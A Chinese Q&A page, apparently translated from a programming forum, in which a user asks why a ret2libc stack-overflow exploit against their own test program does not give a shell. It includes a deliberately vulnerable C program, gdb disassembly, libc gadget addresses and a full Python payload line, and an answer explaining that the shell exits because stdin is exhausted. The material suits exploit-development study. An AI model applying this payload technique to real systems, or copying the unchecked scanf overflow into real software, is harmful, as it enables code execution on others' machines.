首页 > 解决方案 > ret2libc 攻击不会产生 shell

问题描述

我执行了 ret2libc。一切正常,但没有生成 shell。源代码是

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
  char buf[10];
  scanf("%s",buf);
  printf("%s\n",buf);
}
int main()
{
  get();
  printf("Done\n");
  printf("/bin/sh");
  return 1;
}

gdb的反汇编是

(gdb) disass main
Dump of assembler code for function main:
   0x0000555555555184 <+0>:     push   rbp
   0x0000555555555185 <+1>:     mov    rbp,rsp
   0x0000555555555188 <+4>:     mov    eax,0x0
   0x000055555555518d <+9>:     call   0x555555555155 <get>
   0x0000555555555192 <+14>:    lea    rdi,[rip+0xe6e]        # 0x555555556007
   0x0000555555555199 <+21>:    call   0x555555555030 <puts@plt>
   0x000055555555519e <+26>:    lea    rdi,[rip+0xe67]        # 0x55555555600c
   0x00005555555551a5 <+33>:    mov    eax,0x0
   0x00005555555551aa <+38>:    call   0x555555555040 <printf@plt>
   0x00005555555551af <+43>:    mov    eax,0x1                                                                                                                       
   0x00005555555551b4 <+48>:    pop    rbp                                                                                                                           
   0x00005555555551b5 <+49>:    ret                                                                                                                                  
End of assembler dump.                                                                                                                                               
(gdb) disass get                                                                                                                                                     
Dump of assembler code for function get:                                                                                                                             
   0x0000555555555155 <+0>:     push   rbp                                                                                                                           
   0x0000555555555156 <+1>:     mov    rbp,rsp                                                                                                                       
   0x0000555555555159 <+4>:     sub    rsp,0x10                                                                                                                      
   0x000055555555515d <+8>:     lea    rax,[rbp-0xa]                                                                                                                 
   0x0000555555555161 <+12>:    mov    rsi,rax                                                                                                                       
   0x0000555555555164 <+15>:    lea    rdi,[rip+0xe99]        # 0x555555556004                                                                                       
   0x000055555555516b <+22>:    mov    eax,0x0                                                                                                                       
   0x0000555555555170 <+27>:    call   0x555555555050 <__isoc99_scanf@plt>                                                                                           
   0x0000555555555175 <+32>:    lea    rax,[rbp-0xa]                                                                                                                 
   0x0000555555555179 <+36>:    mov    rdi,rax                                                                                                                       
   0x000055555555517c <+39>:    call   0x555555555030 <puts@plt>                                                                                                     
   0x0000555555555181 <+44>:    nop                                                                                                                                  
   0x0000555555555182 <+45>:    leave                                                                                                                                
   0x0000555555555183 <+46>:    ret                                                                                                                                  
End of assembler dump.                                                 

我使用radare2找到了这个小工具pop rdi;ret,它位于0x7ffff7e1d7de/bin/sh位于0x7ffff7f7f1ac,system()位于0x7ffff7e3f8a0exit()位于0x7ffff7e34fe0

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2664]
[Inferior 1 (process 2658) exited with code 02]

当我用命令的地址替换地址时/bin/sh ls它列出了目录的内容。但/bin/sh不会产生外壳。我使用的是 64 位机器。该程序是使用编译的,gcc -ggdb -Wall -fno-stack-protector -o a exploit.c并且手动禁用了 aslr。为什么它不产生外壳?

标签: cerror-handlinggdbbuffer-overflowlibc

解决方案


您的程序确实生成了一个 shell。这很容易看出,因为当您将其更改为 spawn 时ls,它会 spawn ls

您的程序的标准输入来自 Python 脚本。您的程序读取脚本的所有输出,然后启动一个 shell。shell 使用与您的程序相同的标准输入。shell 试图读取一个命令,但没有更多的输入,所以它就退出了。


推荐阅读